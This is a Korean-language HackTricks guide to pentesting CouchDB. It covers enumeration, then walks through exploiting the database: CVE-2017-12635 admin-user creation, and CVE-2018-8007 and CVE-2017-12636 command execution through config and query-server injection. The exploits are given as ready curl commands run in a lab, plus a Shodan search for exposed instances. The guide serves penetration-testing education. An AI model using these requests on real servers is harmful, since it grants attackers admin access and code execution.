5984,6984 - Pentesting CouchDB

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

κΈ°λ³Έ 정보

CouchDBλŠ” λ¬Έμ„œ μ§€ν–₯ λ°μ΄ν„°λ² μ΄μŠ€λ‘œ, 각 λ¬Έμ„œ λ‚΄μ—μ„œ ν‚€-κ°’ λ§΅ ꡬ쑰λ₯Ό μ‚¬μš©ν•˜μ—¬ 데이터λ₯Ό μ‘°μ§ν•˜λŠ” λ‹€μž¬λ‹€λŠ₯ν•˜κ³  κ°•λ ₯ν•œ λ°μ΄ν„°λ² μ΄μŠ€μž…λ‹ˆλ‹€. λ¬Έμ„œ λ‚΄μ˜ ν•„λ“œλŠ” ν‚€/κ°’ 쌍, 리슀트 λ˜λŠ” 맡으둜 ν‘œν˜„λ  수 μžˆμ–΄ 데이터 μ €μž₯ 및 κ²€μƒ‰μ˜ μœ μ—°μ„±μ„ μ œκ³΅ν•©λ‹ˆλ‹€.

CouchDB에 μ €μž₯된 λͺ¨λ“  λ¬Έμ„œλŠ” λ¬Έμ„œ μˆ˜μ€€μ—μ„œ 고유 μ‹λ³„μž(_id)κ°€ ν• λ‹Ήλ©λ‹ˆλ‹€. λ˜ν•œ, λ°μ΄ν„°λ² μ΄μŠ€μ— λŒ€ν•΄ μˆ˜ν–‰λ˜κ³  μ €μž₯된 각 μˆ˜μ • μ‚¬ν•­μ—λŠ” μˆ˜μ • 번호(_rev)κ°€ ν• λ‹Ήλ©λ‹ˆλ‹€. 이 μˆ˜μ • λ²ˆν˜ΈλŠ” λ³€κ²½ μ‚¬ν•­μ˜ 효율적인 좔적 및 관리λ₯Ό κ°€λŠ₯ν•˜κ²Œ ν•˜μ—¬ λ°μ΄ν„°λ² μ΄μŠ€ λ‚΄μ—μ„œ λ°μ΄ν„°μ˜ μš©μ΄ν•œ 검색 및 동기화λ₯Ό μ΄‰μ§„ν•©λ‹ˆλ‹€.

기본 포트: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

μžλ™ μ—΄κ±°

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

μˆ˜λ™ μ—΄κ±°

λ°°λ„ˆ

curl http://IP:5984/

이것은 μ„€μΉ˜λœ CouchDB μΈμŠ€ν„΄μŠ€μ— GET μš”μ²­μ„ λ³΄λƒ…λ‹ˆλ‹€. 응닡은 λ‹€μŒ 쀑 ν•˜λ‚˜μ™€ λΉ„μŠ·ν•΄μ•Ό ν•©λ‹ˆλ‹€:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Note

couchdb의 λ£¨νŠΈμ— μ ‘κ·Όν•  λ•Œ 401 Unauthorized와 같은 응닡을 λ°›μœΌλ©΄: {"error":"unauthorized","reason":"Authentication required."} λ°°λ„ˆλ‚˜ λ‹€λ₯Έ μ—”λ“œν¬μΈνŠΈμ— μ ‘κ·Όν•  수 μ—†μŠ΅λ‹ˆλ‹€.

Info Enumeration

λ‹€μŒμ€ GET μš”μ²­μœΌλ‘œ μ ‘κ·Όν•˜μ—¬ ν₯미둜운 정보λ₯Ό μΆ”μΆœν•  수 μžˆλŠ” μ—”λ“œν¬μΈνŠΈμž…λ‹ˆλ‹€. couchdb λ¬Έμ„œμ—μ„œ 더 λ§Žμ€ μ—”λ“œν¬μΈνŠΈμ™€ μžμ„Έν•œ μ„€λͺ…을 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

  • /_active_tasks μ‹€ν–‰ 쀑인 μž‘μ—…μ˜ λͺ©λ‘μœΌλ‘œ, μž‘μ—… μœ ν˜•, 이름, μƒνƒœ 및 ν”„λ‘œμ„ΈμŠ€ IDλ₯Ό ν¬ν•¨ν•©λ‹ˆλ‹€.
  • /_all_dbs CouchDB μΈμŠ€ν„΄μŠ€μ˜ λͺ¨λ“  λ°μ΄ν„°λ² μ΄μŠ€ λͺ©λ‘μ„ λ°˜ν™˜ν•©λ‹ˆλ‹€.
  • /_cluster_setup ν΄λŸ¬μŠ€ν„° μ„€μ • λ§ˆλ²•μ‚¬μ— 따라 λ…Έλ“œ λ˜λŠ” ν΄λŸ¬μŠ€ν„°μ˜ μƒνƒœλ₯Ό λ°˜ν™˜ν•©λ‹ˆλ‹€.
  • /_db_updates CouchDB μΈμŠ€ν„΄μŠ€μ˜ λͺ¨λ“  λ°μ΄ν„°λ² μ΄μŠ€ 이벀트 λͺ©λ‘μ„ λ°˜ν™˜ν•©λ‹ˆλ‹€. 이 μ—”λ“œν¬μΈνŠΈλ₯Ό μ‚¬μš©ν•˜λ €λ©΄ _global_changes λ°μ΄ν„°λ² μ΄μŠ€κ°€ μ‘΄μž¬ν•΄μ•Ό ν•©λ‹ˆλ‹€.
  • /_membership ν΄λŸ¬μŠ€ν„°μ˜ 일뢀인 λ…Έλ“œλ₯Ό cluster_nodes둜 ν‘œμ‹œν•©λ‹ˆλ‹€. all_nodes ν•„λ“œλŠ” 이 λ…Έλ“œκ°€ μ•Œκ³  μžˆλŠ” λͺ¨λ“  λ…Έλ“œλ₯Ό ν‘œμ‹œν•˜λ©°, ν΄λŸ¬μŠ€ν„°μ˜ 일뢀인 λ…Έλ“œλ„ ν¬ν•¨λ©λ‹ˆλ‹€.
  • /_scheduler/jobs 볡제 μž‘μ—… λͺ©λ‘μž…λ‹ˆλ‹€. 각 μž‘μ—… μ„€λͺ…μ—λŠ” μ†ŒμŠ€ 및 λŒ€μƒ 정보, 볡제 ID, 졜근 이벀트의 이λ ₯ 및 기타 λͺ‡ κ°€μ§€ 정보가 ν¬ν•¨λ©λ‹ˆλ‹€.
  • /_scheduler/docs 볡제 λ¬Έμ„œ μƒνƒœ λͺ©λ‘μž…λ‹ˆλ‹€. completed 및 failed μƒνƒœμ˜ λͺ¨λ“  λ¬Έμ„œμ— λŒ€ν•œ 정보λ₯Ό ν¬ν•¨ν•©λ‹ˆλ‹€. 각 λ¬Έμ„œμ— λŒ€ν•΄ λ¬Έμ„œ ID, λ°μ΄ν„°λ² μ΄μŠ€, 볡제 ID, μ†ŒμŠ€ 및 λŒ€μƒ, 기타 정보λ₯Ό λ°˜ν™˜ν•©λ‹ˆλ‹€.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} /_node/{node-name} μ—”λ“œν¬μΈνŠΈλŠ” μš”μ²­μ„ μ²˜λ¦¬ν•˜λŠ” μ„œλ²„μ˜ Erlang λ…Έλ“œ 이름을 ν™•μΈν•˜λŠ” 데 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 정보에 μ ‘κ·Όν•  λ•Œ /_node/_local을 μ‚¬μš©ν•˜λŠ” 것이 κ°€μž₯ μœ μš©ν•©λ‹ˆλ‹€.
  • /_node/{node-name}/_stats _stats λ¦¬μ†ŒμŠ€λŠ” μ‹€ν–‰ 쀑인 μ„œλ²„μ˜ 톡계λ₯Ό ν¬ν•¨ν•˜λŠ” JSON 객체λ₯Ό λ°˜ν™˜ν•©λ‹ˆλ‹€. λ¦¬ν„°λŸ΄ λ¬Έμžμ—΄ _local은 둜컬 λ…Έλ“œ μ΄λ¦„μ˜ λ³„μΉ­μœΌλ‘œ μ‚¬μš©λ˜λ―€λ‘œ, λͺ¨λ“  톡계 URLμ—μ„œ {node-name}을 _local둜 λŒ€μ²΄ν•˜μ—¬ 둜컬 λ…Έλ“œμ˜ 톡계와 μƒν˜Έμž‘μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  • /_node/{node-name}/_system _system λ¦¬μ†ŒμŠ€λŠ” μ‹€ν–‰ 쀑인 μ„œλ²„μ˜ λ‹€μ–‘ν•œ μ‹œμŠ€ν…œ μˆ˜μ€€ 톡계λ₯Ό ν¬ν•¨ν•˜λŠ” JSON 객체λ₯Ό λ°˜ν™˜ν•©λ‹ˆλ‹€. ν˜„μž¬ λ…Έλ“œ 정보λ₯Ό μ–»κΈ° μœ„ν•΄ {node-name}에 _local을 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  • /_node/{node-name}/_restart
  • /_up μ„œλ²„κ°€ μž‘λ™ 쀑이며 μš”μ²­μ— 응닡할 μ€€λΉ„κ°€ λ˜μ—ˆμŒμ„ ν™•μΈν•©λ‹ˆλ‹€. maintenance_modeκ°€ true λ˜λŠ” nolb인 경우, μ—”λ“œν¬μΈνŠΈλŠ” 404 응닡을 λ°˜ν™˜ν•©λ‹ˆλ‹€.
  • /_uuids CouchDB μΈμŠ€ν„΄μŠ€μ—μ„œ ν•˜λ‚˜ μ΄μƒμ˜ λ²”μš© 고유 μ‹λ³„μž(UUID)λ₯Ό μš”μ²­ν•©λ‹ˆλ‹€.
  • /_reshard ν΄λŸ¬μŠ€ν„°μ—μ„œ μ™„λ£Œλœ, μ‹€νŒ¨ν•œ, μ‹€ν–‰ 쀑인, μ€‘μ§€λœ μž‘μ—…μ˜ μˆ˜μ™€ μž¬λΆ„ν•  μƒνƒœλ₯Ό λ°˜ν™˜ν•©λ‹ˆλ‹€.

더 ν₯미둜운 μ •λ³΄λŠ” μ—¬κΈ°μ—μ„œ μΆ”μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€: https://lzone.de/cheat-sheet/CouchDB

Database List

curl -X GET http://IP:5984/_all_dbs

ν•΄λ‹Ή μš”μ²­μ΄ 401 κΆŒν•œ μ—†μŒμœΌλ‘œ μ‘λ‹΅ν•˜λ©΄, λ°μ΄ν„°λ² μ΄μŠ€μ— μ ‘κ·Όν•˜κΈ° μœ„ν•΄ μœ νš¨ν•œ 자격 증λͺ…이 ν•„μš”ν•©λ‹ˆλ‹€:

curl -X GET http://user:password@IP:5984/_all_dbs

μœ νš¨ν•œ 자격 증λͺ…을 μ°ΎκΈ° μœ„ν•΄ μ„œλΉ„μŠ€λ₯Ό 브루트포슀 μ‹œλ„ν•  수 μžˆμŠ΅λ‹ˆλ‹€ bruteforce the service.

λ‹€μŒμ€ μΆ©λΆ„ν•œ κΆŒν•œμ΄ μžˆμ–΄ λ°μ΄ν„°λ² μ΄μŠ€λ₯Ό λ‚˜μ—΄ν•  수 μžˆμ„ λ•Œμ˜ couchdb 응닡 μ˜ˆμ‹œμž…λ‹ˆλ‹€ (λ‹¨μˆœνžˆ λ°μ΄ν„°λ² μ΄μŠ€ λͺ©λ‘μž…λ‹ˆλ‹€):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

λ°μ΄ν„°λ² μ΄μŠ€ 정보

λ°μ΄ν„°λ² μ΄μŠ€ 이름에 μ ‘κ·Όν•˜μ—¬ 일뢀 λ°μ΄ν„°λ² μ΄μŠ€ 정보λ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€(파일 수 및 크기 λ“±):

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

λ¬Έμ„œ λͺ©λ‘

λ°μ΄ν„°λ² μ΄μŠ€ λ‚΄μ˜ 각 ν•­λͺ© λ‚˜μ—΄

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

λ¬Έμ„œ 읽기

λ°μ΄ν„°λ² μ΄μŠ€ λ‚΄ λ¬Έμ„œμ˜ λ‚΄μš©μ„ μ½μŠ΅λ‹ˆλ‹€:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB κΆŒν•œ μƒμŠΉ CVE-2017-12635

Erlangκ³Ό JavaScript JSON νŒŒμ„œ κ°„μ˜ 차이 덕뢄에 λ‹€μŒ μš”μ²­μœΌλ‘œ hacktricks:hacktricks 자격 증λͺ…을 κ°€μ§„ κ΄€λ¦¬μž μ‚¬μš©μžλ₯Ό 생성할 수 μžˆμŠ΅λ‹ˆλ‹€:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

이 취약점에 λŒ€ν•œ 더 λ§Žμ€ μ •λ³΄λŠ” μ—¬κΈ°μ—μ„œ ν™•μΈν•˜μ„Έμš”.

CouchDB RCE

Erlang μΏ ν‚€ λ³΄μ•ˆ κ°œμš”

예제 μ—¬κΈ°μ—μ„œ.

CouchDB λ¬Έμ„œ, 특히 ν΄λŸ¬μŠ€ν„° 섀정에 κ΄€ν•œ μ„Ήμ…˜(링크)μ—μ„œλŠ” ν΄λŸ¬μŠ€ν„° λͺ¨λ“œμ—μ„œ CouchDB의 포트 μ‚¬μš©μ— λŒ€ν•΄ λ…Όμ˜ν•©λ‹ˆλ‹€. 독립 μ‹€ν–‰ λͺ¨λ“œμ™€ λ§ˆμ°¬κ°€μ§€λ‘œ 포트 5984κ°€ μ‚¬μš©λœλ‹€κ³  μ–ΈκΈ‰λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ, 포트 5986은 λ…Έλ“œ 둜컬 API에 μ‚¬μš©λ˜λ©°, μ€‘μš”ν•˜κ²Œλ„ Erlang은 Erlang 포트 맀퍼 데λͺ¬(EPMD)을 μœ„ν•΄ TCP 포트 4369κ°€ ν•„μš”ν•˜μ—¬ Erlang ν΄λŸ¬μŠ€ν„° λ‚΄μ—μ„œ λ…Έλ“œ κ°„ 톡신을 μš©μ΄ν•˜κ²Œ ν•©λ‹ˆλ‹€. 이 섀정은 각 λ…Έλ“œκ°€ μ„œλ‘œ μ—°κ²°λœ λ„€νŠΈμ›Œν¬λ₯Ό ν˜•μ„±ν•©λ‹ˆλ‹€.

포트 4369에 λŒ€ν•œ μ€‘μš”ν•œ λ³΄μ•ˆ κΆŒκ³ κ°€ κ°•μ‘°λ©λ‹ˆλ‹€. 이 ν¬νŠΈκ°€ μΈν„°λ„·μ΄λ‚˜ μ‹ λ’°ν•  수 μ—†λŠ” λ„€νŠΈμ›Œν¬λ₯Ό 톡해 μ ‘κ·Ό κ°€λŠ₯ν•˜κ²Œ 되면, μ‹œμŠ€ν…œμ˜ λ³΄μ•ˆμ€ β€œμΏ ν‚€β€œλΌλŠ” 고유 μ‹λ³„μžμ— 크게 μ˜μ‘΄ν•˜κ²Œ λ©λ‹ˆλ‹€. 이 μΏ ν‚€λŠ” μ•ˆμ „ μž₯치 역할을 ν•©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, μ£Όμ–΄μ§„ ν”„λ‘œμ„ΈμŠ€ λͺ©λ‘μ—μ„œ β€œmonsterβ€œλΌλŠ” μ΄λ¦„μ˜ μΏ ν‚€κ°€ 관찰될 수 있으며, μ΄λŠ” μ‹œμŠ€ν…œμ˜ λ³΄μ•ˆ ν”„λ ˆμž„μ›Œν¬μ—μ„œμ˜ 운영 역할을 λ‚˜νƒ€λƒ…λ‹ˆλ‹€.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

이 β€œμΏ ν‚€β€œκ°€ Erlang μ‹œμŠ€ν…œμ˜ 원격 μ½”λ“œ μ‹€ν–‰(RCE)을 μœ„ν•΄ μ–΄λ–»κ²Œ μ•…μš©λ  수 μžˆλŠ”μ§€ μ΄ν•΄ν•˜κ³ μž ν•˜λŠ” 뢄듀을 μœ„ν•΄, μΆ”κ°€ 읽기λ₯Ό μœ„ν•œ μ „μš© μ„Ήμ…˜μ΄ λ§ˆλ ¨λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. 이 μ„Ήμ…˜μ—μ„œλŠ” μ‹œμŠ€ν…œμ— λŒ€ν•œ μ œμ–΄λ₯Ό λ‹¬μ„±ν•˜κΈ° μœ„ν•΄ Erlang μΏ ν‚€λ₯Ό λ¬΄λ‹¨μœΌλ‘œ ν™œμš©ν•˜λŠ” 방법둠을 μžμ„Ένžˆ μ„€λͺ…ν•©λ‹ˆλ‹€. μ—¬κΈ°μ—μ„œ RCEλ₯Ό μœ„ν•œ Erlang μΏ ν‚€ μ•…μš©μ— λŒ€ν•œ μžμ„Έν•œ κ°€μ΄λ“œλ₯Ό 탐색할 수 μžˆμŠ΅λ‹ˆλ‹€.

local.ini μˆ˜μ •μœΌλ‘œ CVE-2018-8007 μ•…μš©ν•˜κΈ°

예제 μ—¬κΈ°μ„œ.

졜근 곡개된 취약점인 CVE-2018-8007은 Apache CouchDB에 영ν–₯을 미치며, μ•…μš©ν•˜λ €λ©΄ local.ini νŒŒμΌμ— λŒ€ν•œ μ“°κΈ° κΆŒν•œμ΄ ν•„μš”ν•˜λ‹€λŠ” 것을 λ°ν˜”μŠ΅λ‹ˆλ‹€. λ³΄μ•ˆ μ œν•œμœΌλ‘œ 인해 초기 λŒ€μƒ μ‹œμŠ€ν…œμ— 직접 μ μš©ν•  μˆ˜λŠ” μ—†μ§€λ§Œ, 탐색 λͺ©μ μœΌλ‘œ local.ini νŒŒμΌμ— μ“°κΈ° μ ‘κ·Ό κΆŒν•œμ„ λΆ€μ—¬ν•˜κΈ° μœ„ν•΄ μˆ˜μ •μ΄ μ΄λ£¨μ–΄μ‘ŒμŠ΅λ‹ˆλ‹€. μ•„λž˜μ—λŠ” 이 과정을 λ³΄μ—¬μ£ΌλŠ” μžμ„Έν•œ 단계와 μ½”λ“œ μ˜ˆμ œκ°€ μ œκ³΅λ©λ‹ˆλ‹€.

λ¨Όμ €, local.ini 파일이 μ“°κΈ° κ°€λŠ₯ν•˜λ„λ‘ ν™˜κ²½μ„ μ€€λΉ„ν•˜λ©°, κΆŒν•œμ„ λ‚˜μ—΄ν•˜μ—¬ ν™•μΈν•©λ‹ˆλ‹€:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

취약점을 μ•…μš©ν•˜κΈ° μœ„ν•΄, local.ini의 cors/origins ꡬ성에 λŒ€ν•΄ curl λͺ…령이 μ‹€ν–‰λ©λ‹ˆλ‹€. μ΄λŠ” [os_daemons] μ„Ήμ…˜ μ•„λž˜μ— μƒˆλ‘œμš΄ μΆœμ²˜μ™€ μΆ”κ°€ λͺ…령을 μ£Όμž…ν•˜μ—¬ μž„μ˜μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” 것을 λͺ©ν‘œλ‘œ ν•©λ‹ˆλ‹€:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

후속 검증을 톡해 local.ini에 μ£Όμž…λœ ꡬ성을 ν™•μΈν•˜κ³ , λ³€κ²½ 사항을 κ°•μ‘°ν•˜κΈ° μœ„ν•΄ λ°±μ—…κ³Ό λŒ€μ‘°ν•©λ‹ˆλ‹€:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

μ΄ˆκΈ°μ—λŠ” μ˜ˆμƒλœ 파일(/tmp/0xdf)이 μ‘΄μž¬ν•˜μ§€ μ•ŠμœΌλ©°, μ΄λŠ” μ£Όμž…λœ λͺ…령이 아직 μ‹€ν–‰λ˜μ§€ μ•Šμ•˜μŒμ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€. μΆ”κ°€ 쑰사λ₯Ό 톡해 CouchDB와 κ΄€λ ¨λœ ν”„λ‘œμ„ΈμŠ€κ°€ μ‹€ν–‰ 쀑이며, κ·Έ 쀑 ν•˜λ‚˜λŠ” μ£Όμž…λœ λͺ…령을 μ‹€ν–‰ν•  수 μžˆλŠ” κ°€λŠ₯성이 μžˆμŠ΅λ‹ˆλ‹€:

root@canape:/home/homer/bin# ps aux | grep couch

μ‹λ³„λœ CouchDB ν”„λ‘œμ„ΈμŠ€λ₯Ό μ’…λ£Œν•˜κ³  μ‹œμŠ€ν…œμ΄ μžλ™μœΌλ‘œ μž¬μ‹œμž‘ν•˜λ„λ‘ ν—ˆμš©ν•¨μœΌλ‘œμ¨, μ£Όμž…λœ λͺ…λ Ήμ˜ 싀행이 트리거되며, μ΄λŠ” 이전에 μ—†λ˜ 파일의 쑴재둜 ν™•μΈλ©λ‹ˆλ‹€:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

이 탐색은 νŠΉμ • μ‘°κ±΄μ—μ„œ CVE-2018-8007의 μ•…μš© κ°€λŠ₯성을 ν™•μΈν•˜λ©°, 특히 local.ini νŒŒμΌμ— λŒ€ν•œ μ“°κΈ° μ ‘κ·Ό κΆŒν•œμ΄ ν•„μš”ν•©λ‹ˆλ‹€. 제곡된 μ½”λ“œ μ˜ˆμ œμ™€ 절차적 λ‹¨κ³„λŠ” ν†΅μ œλœ ν™˜κ²½μ—μ„œ μ•…μš©μ„ λ³΅μ œν•˜κΈ° μœ„ν•œ λͺ…ν™•ν•œ κ°€μ΄λ“œλ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€.

CVE-2018-8007에 λŒ€ν•œ μžμ„Έν•œ λ‚΄μš©μ€ mdsec의 ꢌ고λ₯Ό μ°Έμ‘°ν•˜μ‹­μ‹œμ˜€: CVE-2018-8007.

local.ini에 λŒ€ν•œ μ“°κΈ° κΆŒν•œμœΌλ‘œ CVE-2017-12636 νƒμƒ‰ν•˜κΈ°

예제 μ—¬κΈ°μ„œ.

CVE-2017-12636으둜 μ•Œλ €μ§„ 취약점이 νƒμƒ‰λ˜μ—ˆμœΌλ©°, μ΄λŠ” CouchDB ν”„λ‘œμ„ΈμŠ€λ₯Ό 톡해 μ½”λ“œ 싀행을 κ°€λŠ₯ν•˜κ²Œ ν•˜μ§€λ§Œ, νŠΉμ • κ΅¬μ„±μœΌλ‘œ 인해 μ•…μš©μ΄ 방지될 수 μžˆμŠ΅λ‹ˆλ‹€. μ˜¨λΌμΈμ—μ„œ μ‚¬μš©ν•  수 μžˆλŠ” μˆ˜λ§Žμ€ κ°œλ… 증λͺ…(POC) 참쑰에도 λΆˆκ΅¬ν•˜κ³ , CouchDB 버전 2μ—μ„œ 취약점을 μ•…μš©ν•˜κΈ° μœ„ν•΄μ„œλŠ” 쑰정이 ν•„μš”ν•˜λ©°, 일반적으둜 ν‘œμ μ΄ λ˜λŠ” 버전 1.x와 λ‹€λ¦…λ‹ˆλ‹€. 초기 λ‹¨κ³„λŠ” CouchDB 버전을 ν™•μΈν•˜κ³  μ˜ˆμƒ 쿼리 μ„œλ²„ κ²½λ‘œκ°€ μ—†μŒμ„ ν™•μΈν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

CouchDB 버전 2.0을 μˆ˜μš©ν•˜κΈ° μœ„ν•΄ μƒˆλ‘œμš΄ κ²½λ‘œκ°€ μ‚¬μš©λ©λ‹ˆλ‹€:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

μƒˆ 쿼리 μ„œλ²„λ₯Ό μΆ”κ°€ν•˜κ³  ν˜ΈμΆœν•˜λ €λŠ” μ‹œλ„λŠ” λ‹€μŒ 좜λ ₯μ—μ„œ λ‚˜νƒ€λ‚œ 바와 같이 κΆŒν•œ κ΄€λ ¨ 였λ₯˜λ‘œ μ΄μ–΄μ‘ŒμŠ΅λ‹ˆλ‹€:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

μΆ”κ°€ 쑰사λ₯Ό 톡해 local.ini νŒŒμΌμ— λŒ€ν•œ κΆŒν•œ λ¬Έμ œκ°€ λ°œκ²¬λ˜μ—ˆμœΌλ©°, ν•΄λ‹Ή νŒŒμΌμ€ μ“°κΈ° λΆˆκ°€λŠ₯ν–ˆμŠ΅λ‹ˆλ‹€. root λ˜λŠ” homer μ ‘κ·Ό κΆŒν•œμœΌλ‘œ 파일 κΆŒν•œμ„ μˆ˜μ •ν•¨μœΌλ‘œμ¨ μ§„ν–‰ν•  수 있게 λ˜μ—ˆμŠ΅λ‹ˆλ‹€:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

후속 쿼리 μ„œλ²„ μΆ”κ°€ μ‹œλ„κ°€ μ„±κ³΅ν–ˆμœΌλ©°, μ΄λŠ” 응닡에 였λ₯˜ λ©”μ‹œμ§€κ°€ μ—†μŒμ„ 톡해 μž…μ¦λ˜μ—ˆμŠ΅λ‹ˆλ‹€. local.ini 파일의 성곡적인 μˆ˜μ •μ€ 파일 비ꡐλ₯Ό 톡해 ν™•μΈλ˜μ—ˆμŠ΅λ‹ˆλ‹€:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

ν”„λ‘œμ„ΈμŠ€λŠ” λ°μ΄ν„°λ² μ΄μŠ€μ™€ λ¬Έμ„œλ₯Ό μƒμ„±ν•œ ν›„, μƒˆλ‘œ μΆ”κ°€λœ 쿼리 μ„œλ²„μ— λ§€ν•‘λœ μ‚¬μš©μž μ •μ˜ λ·°λ₯Ό 톡해 μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λ €λŠ” μ‹œλ„λ‘œ μ΄μ–΄μ‘ŒμŠ΅λ‹ˆλ‹€:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A μš”μ•½κ³Ό λŒ€μ²΄ νŽ˜μ΄λ‘œλ“œλŠ” νŠΉμ • μ‘°κ±΄μ—μ„œ CVE-2017-12636을 μ•…μš©ν•˜λŠ” 데 λŒ€ν•œ μΆ”κ°€ 톡찰λ ₯을 μ œκ³΅ν•©λ‹ˆλ‹€. 이 취약점을 μ•…μš©ν•˜κΈ° μœ„ν•œ μœ μš©ν•œ λ¦¬μ†ŒμŠ€λŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

Shodan

  • port:5984 couchdb

μ°Έμ‘°

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°